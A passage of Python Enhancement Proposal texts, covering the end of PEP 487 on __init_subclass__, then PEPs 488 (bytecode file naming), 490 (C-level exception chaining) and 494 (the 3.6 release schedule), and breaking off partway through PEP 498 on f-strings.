Adding an __autodecorate__ hook that would be called on the class itself was the proposed idea of PEP 422. Most examples work the same way or even better if the hook is called only on strict subclasses. In general, it is much easier to arrange to explicitly call the hook on the class in which it is defined (to opt-in to such a behavior) than to opt-out (by remember to check for cls is __class in the hook body), meaning that one does not want the hook to be called on the class it is defined in. This becomes most evident if the class in question is designed as a mixin: it is very unlikely that the code of the mixin is to be executed for the mixin class itself, as it is not supposed to be a complete class on its own. The original proposal also made major changes in the class initialization process, rendering it impossible to back-port the proposal to older Python versions. When it’s desired to also call the hook on the base class, two mechanisms are available: Introduce an additional mixin class just to hold the __init_subclass__ implementation. The original “base” class can then list the new mixin as its first parent class. Implement the desired behaviour as an independent class decorator, and apply that decorator explicitly to the base class, and then implicitly to subclasses via __init_subclass__. Calling __init_subclass__ explicitly from a class decorator will generally be undesirable, as this will also typically call __init_subclass__ a second time on the parent class, which is unlikely to be desired behaviour. Other variants of calling the hooks Other names for the hook were presented, namely __decorate__ or __autodecorate__. This proposal opts for __init_subclass__ as it is very close to the __init__ method, just for the subclass, while it is not very close to decorators, as it does not return the class. For the __set_name__ hook other names have been proposed as well, __set_owner__, __set_ownership__ and __init_descriptor__. Requiring an explicit decorator on __init_subclass__ One could require the explicit use of @classmethod on the __init_subclass__ decorator. It was made implicit since there’s no sensible interpretation for leaving it out, and that case would need to be detected anyway in order to give a useful error message. This decision was reinforced after noticing that the user experience of defining __prepare__ and forgetting the @classmethod method decorator is singularly incomprehensible (particularly since PEP 3115 documents it as an ordinary method, and the current documentation doesn’t explicitly say anything one way or the other). A more __new__-like hook In PEP 422 the hook worked more like the __new__ method than the __init__ method, meaning that it returned a class instead of modifying one. This allows a bit more flexibility, but at the cost of much harder implementation and undesired side effects. Adding a class attribute with the attribute order This got its own PEP 520. History This used to be a competing proposal to PEP 422 by Alyssa Coghlan and Daniel Urban. PEP 422 intended to achieve the same goals as this PEP, but with a different way of implementation. In the meantime, PEP 422 has been withdrawn favouring this approach. Copyright This document has been placed in the public domain.

Final

PEP 487 – Simpler customisation of class creation

Standards Track

Currently, customising class creation requires the use of a custom metaclass. This custom metaclass then persists for the entire lifecycle of the class, creating the potential for spurious metaclass conflicts.

PEP 488 – Elimination of PYO files Author: Brett Cannon <brett at python.org> Status: Final Type: Standards Track Created: 20-Feb-2015 Python-Version: 3.5 Post-History: 06-Mar-2015, 13-Mar-2015, 20-Mar-2015 Table of Contents Abstract Rationale Proposal Implementation importlib Rest of the standard library Compatibility Considerations Rejected Ideas Completely dropping optimization levels from CPython Alternative formatting of the optimization level in the file name Embedding the optimization level in the bytecode metadata References Copyright Abstract This PEP proposes eliminating the concept of PYO files from Python. To continue the support of the separation of bytecode files based on their optimization level, this PEP proposes extending the PYC file name to include the optimization level in the bytecode repository directory when there are optimizations applied. Rationale As of today, bytecode files come in two flavours: PYC and PYO. A PYC file is the bytecode file generated and read from when no optimization level is specified at interpreter startup (i.e., -O is not specified). A PYO file represents the bytecode file that is read/written when any optimization level is specified (i.e., when -O or -OO is specified). This means that while PYC files clearly delineate the optimization level used when they were generated – namely no optimizations beyond the peepholer – the same is not true for PYO files. To put this in terms of optimization levels and the file extension: 0: .pyc 1 (-O): .pyo 2 (-OO): .pyo The reuse of the .pyo file extension for both level 1 and 2 optimizations means that there is no clear way to tell what optimization level was used to generate the bytecode file. In terms of reading PYO files, this can lead to an interpreter using a mixture of optimization levels with its code if the user was not careful to make sure all PYO files were generated using the same optimization level (typically done by blindly deleting all PYO files and then using the compileall module to compile all-new PYO files [1]). This issue is only compounded when people optimize Python code beyond what the interpreter natively supports, e.g., using the astoptimizer project [2]. In terms of writing PYO files, the need to delete all PYO files every time one either changes the optimization level they want to use or are unsure of what optimization was used the last time PYO files were generated leads to unnecessary file churn. The change proposed by this PEP also allows for all optimization levels to be pre-compiled for bytecode files ahead of time, something that is currently impossible thanks to the reuse of the .pyo file extension for multiple optimization levels. As for distributing bytecode-only modules, having to distribute both .pyc and .pyo files is unnecessary for the common use-case of code obfuscation and smaller file deployments. This means that bytecode-only modules will only load from their non-optimized .pyc file name. Proposal To eliminate the ambiguity that PYO files present, this PEP proposes eliminating the concept of PYO files and their accompanying .pyo file extension. To allow for the optimization level to be unambiguous as well as to avoid having to regenerate optimized bytecode files needlessly in the __pycache__ directory, the optimization level used to generate the bytecode file will be incorporated into the bytecode file name. When no optimization level is specified, the pre-PEP .pyc file name will be used (i.e., no optimization level will be specified in the file name). For example, a source file named foo.py in CPython 3.5 could have the following bytecode files based on the interpreter’s optimization level (none, -O, and -OO): 0: foo.cpython-35.pyc (i.e., no change) 1: foo.cpython-35.opt-1.pyc 2: foo.cpython-35.opt-2.pyc Currently bytecode file names are created by importlib.util.cache_from_source(), approximately using the following expression defined by PEP 3147 [3], [4]: '{name}.{cache_tag}.pyc'.format(name=module_name, cache_tag=sys.implementation.cache_tag) This PEP proposes to change the expression when an optimization level is specified to: '{name}.{cache_tag}.opt-{optimization}.pyc'.format( name=module_name, cache_tag=sys.implementation.cache_tag, optimization=str(sys.flags.optimize)) The “opt-” prefix was chosen so as to provide a visual separator from the cache tag. The placement of the optimization level after the cache tag was chosen to preserve lexicographic sort order of bytecode file names based on module name and cache tag which will not vary for a single interpreter. The “opt-” prefix was chosen over “o” so as to be somewhat self-documenting. The “opt-” prefix was chosen over “O” so as to not have any confusion in case “0” was the leading prefix of the optimization level. A period was chosen over a hyphen as a separator so as to distinguish clearly that the optimization level is not part of the interpreter version as specified by the cache tag. It also lends to the use of the period in the file name to delineate semantically different concepts. For example, if -OO had been passed to the interpreter then instead of importlib.cpython-35.pyo the file name would be importlib.cpython-35.opt-2.pyc. Leaving out the new opt- tag when no optimization level is applied should increase backwards-compatibility. This is also more understanding of Python implementations which have no use for optimization levels (e.g., PyPy [10]). It should be noted that this change in no way affects the performance of import. Since the import system looks for a single bytecode file based on the optimization level of the interpreter already and generates a new bytecode file if it doesn’t exist, the introduction of potentially more bytecode files in the __pycache__ directory has no effect in terms of stat calls. The interpreter will continue to look for only a single bytecode file based on the optimization level and thus no increase in stat calls will occur. The only potentially negative result of this PEP is the probable increase in the number of .pyc files and thus increase in storage use. But for platforms where this is an issue, sys.dont_write_bytecode exists to turn off bytecode generation so that it can be controlled offline. Implementation An implementation of this PEP is available [11]. importlib As importlib.util.cache_from_source() is the API that exposes bytecode file paths as well as being directly used by importlib, it requires the most critical change. As of Python 3.4, the function’s signature is: importlib.util.cache_from_source(path, debug_override=None) This PEP proposes changing the signature in Python 3.5 to: importlib.util.cache_from_source(path, debug_override=None, *, optimization=None) The introduced optimization keyword-only parameter will control what optimization level is specified in the file name. If the argument is None then the current optimization level of the interpreter will be assumed (including no optimization). Any argument given for optimization will be passed to str() and must have str.isalnum() be true, else ValueError will be raised (this prevents invalid characters being used in the file name). If the empty string is passed in for optimization then the addition of the optimization will be suppressed, reverting to the file name format which predates this PEP. It is expected that beyond Python’s own two optimization levels, third-party code will use a hash of optimization names to specify the optimization level, e.g. hashlib.sha256(','.join(['no dead code', 'const folding'])).hexdigest(). While this might lead to long file names, it is assumed that most users never look at the contents of the __pycache__ directory and so this won’t be an issue. The debug_override parameter will be deprecated. A False value will be equivalent to optimization=1 while a True value will represent optimization='' (a None argument will continue to mean the same as for optimization). A deprecation warning will be raised when debug_override is given a value other than None, but there are no plans for the complete removal of the parameter at this time (but removal will be no later than Python 4). The various module attributes for importlib.machinery which relate to bytecode file suffixes will be updated [7]. The DEBUG_BYTECODE_SUFFIXES and OPTIMIZED_BYTECODE_SUFFIXES will both be documented as deprecated and set to the same value as BYTECODE_SUFFIXES (removal of DEBUG_BYTECODE_SUFFIXES and OPTIMIZED_BYTECODE_SUFFIXES is not currently planned, but will be not later than Python 4). All various finders and loaders will also be updated as necessary, but updating the previous mentioned parts of importlib should be all that is required. Rest of the standard library The various functions exposed by the py_compile and compileall functions will be updated as necessary to make sure they follow the new bytecode file name semantics [6], [1]. The CLI for the compileall module will not be directly affected (the -b flag will be implicit as it will no longer generate .pyo files when -O is specified). Compatibility Considerations Any code directly manipulating bytecode files from Python 3.2 on will need to consider the impact of this change on their code (prior to Python 3.2 – including all of Python 2 – there was no __pycache__ which already necessitates bifurcating bytecode file handling support). If code was setting the debug_override argument to importlib.util.cache_from_source() then care will be needed if they want the path to a bytecode file with an optimization level of 2. Otherwise only code not using importlib.util.cache_from_source() will need updating. As for people who distribute bytecode-only modules (i.e., use a bytecode file instead of a source file), they will have to choose which optimization level they want their bytecode files to be since distributing a .pyo file with a .pyc file will no longer be of any use. Since people typically only distribute bytecode files for code obfuscation purposes or smaller distribution size then only having to distribute a single .pyc should actually be beneficial to these use-cases. And since the magic number for bytecode files changed in Python 3.5 to support PEP 465 there is no need to support pre-existing .pyo files [8]. Rejected Ideas Completely dropping optimization levels from CPython Some have suggested that instead of accommodating the various optimization levels in CPython, we should instead drop them entirely. The argument is that significant performance gains would occur from runtime optimizations through something like a JIT and not through pre-execution bytecode optimizations. This idea is rejected for this PEP as that ignores the fact that there are people who do find the pre-existing optimization levels for CPython useful. It also assumes that no other Python interpreter would find what this PEP proposes useful. Alternative formatting of the optimization level in the file name Using the “opt-” prefix and placing the optimization level between the cache tag and file extension is not critical. All options which have been considered are: importlib.cpython-35.opt-1.pyc importlib.cpython-35.opt1.pyc importlib.cpython-35.o1.pyc importlib.cpython-35.O1.pyc importlib.cpython-35.1.pyc importlib.cpython-35-O1.pyc importlib.O1.cpython-35.pyc importlib.o1.cpython-35.pyc importlib.1.cpython-35.pyc These were initially rejected either because they would change the sort order of bytecode files, possible ambiguity with the cache tag, or were not self-documenting enough. An informal poll was taken and people clearly preferred the formatting proposed by the PEP [9]. Since this topic is non-technical and of personal choice, the issue is considered solved. Embedding the optimization level in the bytecode metadata Some have suggested that rather than embedding the optimization level of bytecode in the file name that it be included in the file’s metadata instead. This would mean every interpreter had a single copy of bytecode at any time. Changing the optimization level would thus require rewriting the bytecode, but there would also only be a single file to care about. This has been rejected due to the fact that Python is often installed as a root-level application and thus modifying the bytecode file for modules in the standard library are always possible. In this situation integrators would need to guess at what a reasonable optimization level was for users for any/all situations. By allowing multiple optimization levels to co-exist simultaneously it frees integrators from having to guess what users want and allows users to utilize the optimization level they want. References [1] (1, 2) The compileall module (https://docs.python.org/3.5/library/compileall.html) [2] The astoptimizer project (https://web.archive.org/web/20150909225454/https://pypi.python.org/pypi/astoptimizer) [3] importlib.util.cache_from_source() (https://docs.python.org/3.5/library/importlib.html#importlib.util.cache_from_source) [4] Implementation of importlib.util.cache_from_source() from CPython 3.4.3rc1 (https://github.com/python/cpython/blob/e55181f517bbfc875065ce86ed3e05cf0e0246fa/Lib/importlib/_bootstrap.py#L437) [6] The py_compile module (https://docs.python.org/3.5/library/compileall.html) [7] The importlib.machinery module (https://docs.python.org/3.5/library/importlib.html#module-importlib.machinery) [8] importlib.util.MAGIC_NUMBER (https://docs.python.org/3.5/library/importlib.html#importlib.util.MAGIC_NUMBER) [9] Informal poll of file name format options on Google+ (https://web.archive.org/web/20160925163500/https://plus.google.com/+BrettCannon/posts/fZynLNwHWGm) [10] The PyPy Project (https://www.pypy.org/) [11] Implementation of PEP 488 (https://github.com/python/cpython/issues/67919) Copyright This document has been placed in the public domain.

Final

PEP 488 – Elimination of PYO files

Standards Track

This PEP proposes eliminating the concept of PYO files from Python. To continue the support of the separation of bytecode files based on their optimization level, this PEP proposes extending the PYC file name to include the optimization level in the bytecode repository directory when there are optimizations applied.

PEP 490 – Chain exceptions at C level Author: Victor Stinner <vstinner at python.org> Status: Rejected Type: Standards Track Created: 25-Mar-2015 Python-Version: 3.6 Table of Contents Abstract Rationale Proposal Modify PyErr_*() functions to chain exceptions Modify functions to not chain exceptions Modify functions to chain exceptions Backward compatibility Alternatives No change New helpers to chain exceptions Appendix PEPs Python C API Python Issues Rejection Copyright Abstract Chain exceptions at C level, as already done at Python level. Rationale Python 3 introduced a new killer feature: exceptions are chained by default, PEP 3134. Example: try: raise TypeError("err1") except TypeError: raise ValueError("err2") Output: Traceback (most recent call last): File "test.py", line 2, in <module> raise TypeError("err1") TypeError: err1 During handling of the above exception, another exception occurred: Traceback (most recent call last): File "test.py", line 4, in <module> raise ValueError("err2") ValueError: err2 Exceptions are chained by default in Python code, but not in extensions written in C. A new private _PyErr_ChainExceptions() function was introduced in Python 3.4.3 and 3.5 to chain exceptions. Currently, it must be called explicitly to chain exceptions and its usage is not trivial. Example of _PyErr_ChainExceptions() usage from the zipimport module to chain the previous OSError to a new ZipImportError exception: PyObject *exc, *val, *tb; PyErr_Fetch(&exc, &val, &tb); PyErr_Format(ZipImportError, "can't open Zip file: %R", archive); _PyErr_ChainExceptions(exc, val, tb); This PEP proposes to also chain exceptions automatically at C level to stay consistent and give more information on failures to help debugging. The previous example becomes simply: PyErr_Format(ZipImportError, "can't open Zip file: %R", archive); Proposal Modify PyErr_*() functions to chain exceptions Modify C functions raising exceptions of the Python C API to automatically chain exceptions: modify PyErr_SetString(), PyErr_Format(), PyErr_SetNone(), etc. Modify functions to not chain exceptions Keeping the previous exception is not always interesting when the new exception contains information of the previous exception or even more information, especially when the two exceptions have the same type. Example of an useless exception chain with int(str): TypeError: a bytes-like object is required, not 'type' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: int() argument must be a string, a bytes-like object or a number, not 'type' The new TypeError exception contains more information than the previous exception. The previous exception should be hidden. The PyErr_Clear() function can be called to clear the current exception before raising a new exception, to not chain the current exception with a new exception. Modify functions to chain exceptions Some functions save and then restore the current exception. If a new exception is raised, the exception is currently displayed into sys.stderr or ignored depending on the function. Some of these functions should be modified to chain exceptions instead. Examples of function ignoring the new exception(s): ptrace_enter_call(): ignore exception subprocess_fork_exec(): ignore exception raised by enable_gc() t_bootstrap() of the _thread module: ignore exception raised by trying to display the bootstrap function to sys.stderr PyDict_GetItem(), _PyDict_GetItem_KnownHash(): ignore exception raised by looking for a key in the dictionary _PyErr_TrySetFromCause(): ignore exception PyFrame_LocalsToFast(): ignore exception raised by dict_to_map() _PyObject_Dump(): ignore exception. _PyObject_Dump() is used to debug, to inspect a running process, it should not modify the Python state. Py_ReprLeave(): ignore exception “because there is no way to report them” type_dealloc(): ignore exception raised by remove_all_subclasses() PyObject_ClearWeakRefs(): ignore exception? call_exc_trace(), call_trace_protected(): ignore exception remove_importlib_frames(): ignore exception do_mktuple(), helper used by Py_BuildValue() for example: ignore exception? flush_io(): ignore exception sys_write(), sys_format(): ignore exception _PyTraceback_Add(): ignore exception PyTraceBack_Print(): ignore exception Examples of function displaying the new exception to sys.stderr: atexit_callfuncs(): display exceptions with PyErr_Display() and return the latest exception, the function calls multiple callbacks and only returns the latest exception sock_dealloc(): log the ResourceWarning exception with PyErr_WriteUnraisable() slot_tp_del(): display exception with PyErr_WriteUnraisable() _PyGen_Finalize(): display gen_close() exception with PyErr_WriteUnraisable() slot_tp_finalize(): display exception raised by the __del__() method with PyErr_WriteUnraisable() PyErr_GivenExceptionMatches(): display exception raised by PyType_IsSubtype() with PyErr_WriteUnraisable() Backward compatibility A side effect of chaining exceptions is that exceptions store traceback objects which store frame objects which store local variables. Local variables are kept alive by exceptions. A common issue is a reference cycle between local variables and exceptions: an exception is stored in a local variable and the frame indirectly stored in the exception. The cycle only impacts applications storing exceptions. The reference cycle can now be fixed with the new traceback.TracebackException object introduced in Python 3.5. It stores information required to format a full textual traceback without storing local variables. The asyncio is impacted by the reference cycle issue. This module is also maintained outside Python standard library to release a version for Python 3.3. traceback.TracebackException will maybe be backported in a private asyncio module to fix reference cycle issues. Alternatives No change A new private _PyErr_ChainExceptions() function is enough to chain manually exceptions. Exceptions will only be chained explicitly where it makes sense. New helpers to chain exceptions Functions like PyErr_SetString() don’t chain automatically exceptions. To make the usage of _PyErr_ChainExceptions() easier, new private functions are added: _PyErr_SetStringChain(exc_type, message) _PyErr_FormatChain(exc_type, format, ...) _PyErr_SetNoneChain(exc_type) _PyErr_SetObjectChain(exc_type, exc_value) Helper functions to raise specific exceptions like _PyErr_SetKeyError(key) or PyErr_SetImportError(message, name, path) don’t chain exceptions. The generic _PyErr_ChainExceptions(exc_type, exc_value, exc_tb) should be used to chain exceptions with these helper functions. Appendix PEPs PEP 3134 – Exception Chaining and Embedded Tracebacks (Python 3.0): new __context__ and __cause__ attributes for exceptions PEP 415 – Implement context suppression with exception attributes (Python 3.3): raise exc from None PEP 409 – Suppressing exception context (superseded by the PEP 415) Python C API The header file Include/pyerror.h declares functions related to exceptions. Functions raising exceptions: PyErr_SetNone(exc_type) PyErr_SetObject(exc_type, exc_value) PyErr_SetString(exc_type, message) PyErr_Format(exc, format, ...) Helpers to raise specific exceptions: PyErr_BadArgument() PyErr_BadInternalCall() PyErr_NoMemory() PyErr_SetFromErrno(exc) PyErr_SetFromWindowsErr(err) PyErr_SetImportError(message, name, path) _PyErr_SetKeyError(key) _PyErr_TrySetFromCause(prefix_format, ...) Manage the current exception: PyErr_Clear(): clear the current exception, like except: pass PyErr_Fetch(exc_type, exc_value, exc_tb) PyErr_Restore(exc_type, exc_value, exc_tb) PyErr_GetExcInfo(exc_type, exc_value, exc_tb) PyErr_SetExcInfo(exc_type, exc_value, exc_tb) Others function to handle exceptions: PyErr_ExceptionMatches(exc): check to implement except exc:  ... PyErr_GivenExceptionMatches(exc1, exc2) PyErr_NormalizeException(exc_type, exc_value, exc_tb) _PyErr_ChainExceptions(exc_type, exc_value, exc_tb) Python Issues Chain exceptions: Issue #23763: Chain exceptions in C Issue #23696: zipimport: chain ImportError to OSError Issue #21715: Chaining exceptions at C level: added _PyErr_ChainExceptions() Issue #18488: sqlite: finalize() method of user function may be called with an exception set if a call to step() method failed Issue #23781: Add private _PyErr_ReplaceException() in 2.7 Issue #23782: Leak in _PyTraceback_Add Changes preventing to loose exceptions: Issue #23571: Raise SystemError if a function returns a result with an exception set Issue #18408: Fixes crashes found by pyfailmalloc Rejection The PEP was rejected on 2017-09-12 by Victor Stinner. It was decided in the python-dev discussion to not chain C exceptions by default, but instead chain them explicitly only where it makes sense. Copyright This document has been placed in the public domain.

Rejected

PEP 490 – Chain exceptions at C level

Standards Track

Chain exceptions at C level, as already done at Python level.

PEP 494 – Python 3.6 Release Schedule Author: Ned Deily <nad at python.org> Status: Final Type: Informational Topic: Release Created: 30-May-2015 Python-Version: 3.6 Table of Contents Abstract Release Manager and Crew 3.6 Lifespan Release Schedule 3.6.0 schedule 3.6.1 schedule (first bugfix release) 3.6.2 schedule 3.6.3 schedule 3.6.4 schedule 3.6.5 schedule 3.6.6 schedule 3.6.7 schedule 3.6.8 schedule (last bugfix release) 3.6.9 schedule (first security-only release) 3.6.10 schedule 3.6.11 schedule 3.6.12 schedule 3.6.13 schedule 3.6.14 schedule 3.6.15 schedule (last security-only release) Features for 3.6 Copyright Abstract This document describes the development and release schedule for Python 3.6. The schedule primarily concerns itself with PEP-sized items. Release Manager and Crew 3.6 Release Manager: Ned Deily Windows installers: Steve Dower Mac installers: Ned Deily Documentation: Julien Palard, Georg Brandl 3.6 Lifespan 3.6 will receive bugfix updates approximately every 3 months for about 24 months. Sometime after the release of 3.7.0 final, a final 3.6 bugfix update will be released. After that, it is expected that security updates (source only) will be released as needed until 5 years after the release of 3.6 final, so until approximately 2021-12. As of 2021-12-23, 3.6 has reached the end-of-life phase of its release cycle. 3.6.15 was the final security release. The code base for 3.6 is now frozen and no further updates will be provided nor issues of any kind will be accepted on the bug tracker. Release Schedule 3.6.0 schedule 3.6 development begins: 2015-05-24 3.6.0 alpha 1: 2016-05-17 3.6.0 alpha 2: 2016-06-13 3.6.0 alpha 3: 2016-07-11 3.6.0 alpha 4: 2016-08-15 3.6.0 beta 1: 2016-09-12 (No new features beyond this point.) 3.6.0 beta 2: 2016-10-10 3.6.0 beta 3: 2016-10-31 3.6.0 beta 4: 2016-11-21 3.6.0 candidate 1: 2016-12-06 3.6.0 candidate 2: 2016-12-16 3.6.0 final: 2016-12-23 3.6.1 schedule (first bugfix release) 3.6.1 candidate: 2017-03-05 3.6.1 final: 2017-03-21 3.6.2 schedule 3.6.2 candidate 1: 2017-06-17 3.6.2 candidate 2: 2017-07-07 3.6.2 final: 2017-07-17 3.6.3 schedule 3.6.3 candidate: 2017-09-19 3.6.3 final: 2017-10-03 3.6.4 schedule 3.6.4 candidate: 2017-12-05 3.6.4 final: 2017-12-19 3.6.5 schedule 3.6.5 candidate: 2018-03-13 3.6.5 final: 2018-03-28 3.6.6 schedule 3.6.6 candidate: 2018-06-12 3.6.6 final: 2018-06-27 3.6.7 schedule 3.6.7 candidate: 2018-09-26 3.6.7 candidate 2: 2018-10-13 3.6.7 final: 2018-10-20 3.6.8 schedule (last bugfix release) Last binary releases 3.6.8 candidate: 2018-12-11 3.6.8 final: 2018-12-24 3.6.9 schedule (first security-only release) Source only 3.6.9 candidate 1: 2019-06-18 3.6.9 final: 2019-07-02 3.6.10 schedule 3.6.10 candidate 1: 2019-12-11 3.6.10 final: 2019-12-18 3.6.11 schedule 3.6.11 candidate 1: 2020-06-15 3.6.11 final: 2020-06-27 3.6.12 schedule 3.6.12 final: 2020-08-17 3.6.13 schedule 3.6.13 final: 2021-02-15 3.6.14 schedule 3.6.14 final: 2021-06-28 3.6.15 schedule (last security-only release) 3.6.15 final: 2021-09-04 Features for 3.6 Implemented changes for 3.6 (as of 3.6.0 beta 1): PEP 468, Preserving Keyword Argument Order PEP 487, Simpler customization of class creation PEP 495, Local Time Disambiguation PEP 498, Literal String Formatting PEP 506, Adding A Secrets Module To The Standard Library PEP 509, Add a private version to dict PEP 515, Underscores in Numeric Literals PEP 519, Adding a file system path protocol PEP 520, Preserving Class Attribute Definition Order PEP 523, Adding a frame evaluation API to CPython PEP 524, Make os.urandom() blocking on Linux (during system startup) PEP 525, Asynchronous Generators (provisional) PEP 526, Syntax for Variable Annotations (provisional) PEP 528, Change Windows console encoding to UTF-8 (provisional) PEP 529, Change Windows filesystem encoding to UTF-8 (provisional) PEP 530, Asynchronous Comprehensions Copyright This document has been placed in the public domain.

Final

PEP 494 – Python 3.6 Release Schedule

Informational

This document describes the development and release schedule for Python 3.6. The schedule primarily concerns itself with PEP-sized items.

PEP 498 – Literal String Interpolation Author: Eric V. Smith <eric at trueblade.com> Status: Final Type: Standards Track Created: 01-Aug-2015 Python-Version: 3.6 Post-History: 07-Aug-2015, 30-Aug-2015, 04-Sep-2015, 19-Sep-2015, 06-Nov-2016 Resolution: Python-Dev message Table of Contents Abstract Rationale No use of globals() or locals() Specification Escape sequences Code equivalence Expression evaluation Format specifiers Concatenating strings Error handling Leading and trailing whitespace in expressions is ignored Evaluation order of expressions Discussion python-ideas discussion How to denote f-strings How to specify the location of expressions in f-strings Supporting full Python expressions Similar support in other languages Differences between f-string and str.format expressions Triple-quoted f-strings Raw f-strings No binary f-strings !s, !r, and !a are redundant Lambdas inside expressions Can’t combine with ‘u’ Examples from Python’s source code References Copyright Abstract Python supports multiple ways to format text strings. These include %-formatting [1], str.format() [2], and string.Template [3]. Each of these methods have their advantages, but in addition have disadvantages that make them cumbersome to use in practice. This PEP proposed to add a new string formatting mechanism: Literal String Interpolation. In this PEP, such strings will be referred to as “f-strings”, taken from the leading character used to denote such strings, and standing for “formatted strings”. This PEP does not propose to remove or deprecate any of the existing string formatting mechanisms. F-strings provide a way to embed expressions inside string literals, using a minimal syntax. It should be noted that an f-string is really an expression evaluated at run time, not a constant value. In Python source code, an f-string is a literal string, prefixed with ‘f’, which contains expressions inside braces. The expressions are replaced with their values. Some examples are: >>> import datetime >>> name = 'Fred' >>> age = 50 >>> anniversary = datetime.date(1991, 10, 12) >>> f'My name is {name}, my age next year is {age+1}, my anniversary is {anniversary:%A, %B %d, %Y}.' 'My name is Fred, my age next year is 51, my anniversary is Saturday, October 12, 1991.' >>> f'He said his name is {name!r}.' "He said his name is 'Fred'." A similar feature was proposed in PEP 215. PEP 215 proposed to support a subset of Python expressions, and did not support the type-specific string formatting (the __format__() method) which was introduced with PEP 3101. Rationale This PEP is driven by the desire to have a simpler way to format strings in Python. The existing ways of formatting are either error prone, inflexible, or cumbersome. %-formatting is limited as to the types it supports. Only ints, strs, and doubles can be formatted. All other types are either not supported, or converted to one of these types before formatting. In addition, there’s a well-known trap where a single value is passed: >>> msg = 'disk failure' >>> 'error: %s' % msg 'error: disk failure' But if msg were ever to be a tuple, the same code would fail: >>> msg = ('disk failure', 32) >>> 'error: %s' % msg Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: not all arguments converted during string formatting To be defensive, the following code should be used: >>> 'error: %s' % (msg,) "error: ('disk failure', 32)" str.format() was added to address some of these problems with %-formatting. In particular, it uses normal function call syntax (and therefore supports multiple parameters) and it is extensible through the __format__() method on the object being converted to a string. See PEP 3101 for a detailed rationale. This PEP reuses much of the str.format() syntax and machinery, in order to provide continuity with an existing Python string formatting mechanism. However, str.format() is not without its issues. Chief among them is its verbosity. For example, the text value is repeated here: >>> value = 4 * 20 >>> 'The value is {value}.'.format(value=value) 'The value is 80.' Even in its simplest form there is a bit of boilerplate, and the value that’s inserted into the placeholder is sometimes far removed from where the placeholder is situated: >>> 'The value is {}.'.format(value) 'The value is 80.' With an f-string, this becomes: >>> f'The value is {value}.' 'The value is 80.' F-strings provide a concise, readable way to include the value of Python expressions inside strings. In this sense, string.Template and %-formatting have similar shortcomings to str.format(), but also support fewer formatting options. In particular, they do not support the __format__ protocol, so that there is no way to control how a specific object is converted to a string, nor can it be extended to additional types that want to control how they are converted to strings (such as Decimal and datetime). This example is not possible with string.Template: >>> value = 1234 >>> f'input={value:#06x}' 'input=0x04d2' And neither %-formatting nor string.Template can control formatting such as: >>> date = datetime.date(1991, 10, 12) >>> f'{date} was on a {date:%A}' '1991-10-12 was on a Saturday' No use of globals() or locals() In the discussions on python-dev [4], a number of solutions where presented that used locals() and globals() or their equivalents. All of these have various problems. Among these are referencing variables that are not otherwise used in a closure. Consider: >>> def outer(x): ... def inner(): ... return 'x={x}'.format_map(locals()) ... return inner ... >>> outer(42)() Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<stdin>", line 3, in inner KeyError: 'x' This returns an error because the compiler has not added a reference to x inside the closure. You need to manually add a reference to x in order for this to work: >>> def outer(x): ... def inner(): ... x ... return 'x={x}'.format_map(locals()) ... return inner ... >>> outer(42)() 'x=42' In addition, using locals() or globals() introduces an information leak. A called routine that has access to the callers locals() or globals() has access to far more information than needed to do the string interpolation. Guido stated [5] that any solution to better string interpolation would not use locals() or globals() in its implementation. (This does not forbid users from passing locals() or globals() in, it just doesn’t require it, nor does it allow using these functions under the hood.) Specification In source code, f-strings are string literals that are prefixed by the letter ‘f’ or ‘F’. Everywhere this PEP uses ‘f’, ‘F’ may also be used. ‘f’ may be combined with ‘r’ or ‘R’, in either order, to produce raw f-string literals. ‘f’ may not be combined with ‘b’: this PEP does not propose to add binary f-strings. ‘f’ may not be combined with ‘u’. When tokenizing source files, f-strings use the same rules as normal strings, raw strings, binary strings, and triple quoted strings. That is, the string must end with the same character that it started with: if it starts with a single quote it must end with a single quote, etc. This implies that any code that currently scans Python code looking for strings should be trivially modifiable to recognize f-strings (parsing within an f-string is another matter, of course). Once tokenized, f-strings are parsed in to literal strings and expressions. Expressions appear within curly braces '{' and '}'. While scanning the string for expressions, any doubled braces '{{' or '}}' inside literal portions of an f-string are replaced by the corresponding single brace. Doubled literal opening braces do not signify the start of an expression. A single closing curly brace '}' in the literal portion of a string is an error: literal closing curly braces must be doubled '}}' in order to represent a single closing brace. The parts of the f-string outside of braces are literal strings. These literal portions are then decoded. For non-raw f-strings, this includes converting backslash escapes such as '\n', '\"', "\'", '\xhh', '\uxxxx', '\Uxxxxxxxx', and named unicode characters '\N{name}' into their associated Unicode characters [6]. Backslashes may not appear anywhere within expressions. Comments, using the '#' character, are not allowed inside an expression. Following each expression, an optional type conversion may be specified. The allowed conversions are '!s', '!r', or '!a'. These are treated the same as in str.format(): '!s' calls str() on the expression, '!r' calls repr() on the expression, and '!a' calls ascii() on the expression. These conversions are applied before the call to format(). The only reason to use '!s' is if you want to specify a format specifier that applies to str, not to the type of the expression. F-strings use the same format specifier mini-language as str.format. Similar to str.format(), optional format specifiers maybe be included inside the f-string, separated from the expression (or the type conversion, if specified) by a colon. If a format specifier is not provided, an empty string is used. So, an f-string looks like: f ' <text> { <expression> <optional !s, !r, or !a> <optional : format specifier> } <text> ... ' The expression is then formatted using the __format__ protocol, using the format specifier as an argument. The resulting value is used when building the value of the f-string. Note that __format__() is not called directly on each value. The actual code uses the equivalent of type(value).__format__(value, format_spec), or format(value, format_spec). See the documentation of the builtin format() function for more details. Expressions cannot contain ':' or '!' outside of strings or parentheses, brackets, or braces. The exception is that the '!=' operator is allowed as a special case. Escape sequences Backslashes may not appear inside the expression portions of f-strings, so you cannot use them, for example, to escape quotes inside f-strings: >>> f'{\'quoted string\'}' File "<stdin>", line 1 SyntaxError: f-string expression part cannot include a backslash You can use a different type of quote inside the expression: >>> f'{"quoted string"}' 'quoted string' Backslash escapes may appear inside the string portions of an f-string. Note that the correct way to have a literal brace appear in the resulting string value is to double the brace: >>> f'{{ {4*10} }}' '{ 40 }' >>> f'{{{4*10}}}' '{40}' Like all raw strings in Python, no escape processing is done for raw f-strings: >>> fr'x={4*10}\n' 'x=40\\n' Due to Python’s string tokenizing rules, the f-string f'abc {a['x']} def' is invalid. The tokenizer parses this as 3 tokens: f'abc {a[', x, and ']} def'. Just like regular strings, this cannot be fixed by using raw strings. There are a number of correct ways to write this f-string: with a different quote character: f"abc {a['x']} def" Or with triple quotes: f'''abc {a['x']} def''' Code equivalence The exact code used to implement f-strings is not specified. However, it is guaranteed that any embedded value that is converted to a string will use that value’s __format__ method. This is the same mechanism that 